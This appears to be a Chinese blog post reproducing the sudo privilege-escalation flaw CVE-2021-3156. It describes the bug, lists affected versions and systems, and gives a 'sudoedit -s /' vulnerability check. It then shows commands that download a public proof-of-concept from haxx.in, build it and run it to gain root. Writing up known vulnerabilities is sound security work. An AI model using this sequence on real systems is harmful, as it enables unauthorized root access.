6

CVE-2021-3156 提权漏洞复现

 2 years ago
source link: https://as1def.github.io/2021/03/01/CVE-2021-3156-%E6%8F%90%E6%9D%83%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

CVE-2021-3156 提权漏洞复现

发表于

2021-03-01 更新于 2021-04-02

阅读次数: 18
本文字数: 794 阅读时长 ≈ 1 分钟

CVE-2021-3156 提权漏洞

title

Sudo是一个功能强大的工具,其允许普通用户执行root权限命令,大多数基于Unix和Linux的操作系统都包含sudo。

2021年01月26日,sudo被披露存在一个基于堆的缓冲区溢出漏洞(CVE-2021-3156,该漏洞被命名为“Baron Samedit”),可导致本地权限提升。

当在类Unix的操作系统上执行命令时,非root用户可以使用sudo命令来以root用户身份执行命令。由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出,从而允许任何本地用户(无论是否在sudoers文件中)获得root权限,无需进行身份验证,且攻击者不需要知道用户密码。

Sudo 1.8.2 - 1.8.31p2
Sudo 1.9.0 - 1.9.5p1

#ECS受影响的镜像版本
Alibaba Cloud Linux 2
CentOS 6/7/8
Red Hat Enterprise Linux 6/7/8
Ubuntu 14/16/18/20
Debian 8/9/10
SUSE Linux Enterprise Server 12/15
OpenSUSE 42.3/15
FreeBSD 11/12

测试系统是否易受此漏洞影响:

  • 以非root用户身份登录系统。
  • 运行命令“sudoedit -s /”
  • 如果出现以“ sudoedit:”开头的错误响应,则系统受到此漏洞影响;如果出现以“ usage:”开头的错误响应,则表示该漏洞已被补丁修复。
wget https://haxx.in/CVE-2021-3156_nss_poc_ubuntu.tar.gz
tar -zxvf CVE-2021-3156_nss_poc_ubuntu.tar.gz
cd CVE-2021-3156
make

执行./sudo-hax-me-a-sandwich 列出可选择目标,这里选Debain

res

----------------本文结束感谢阅读----------------

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK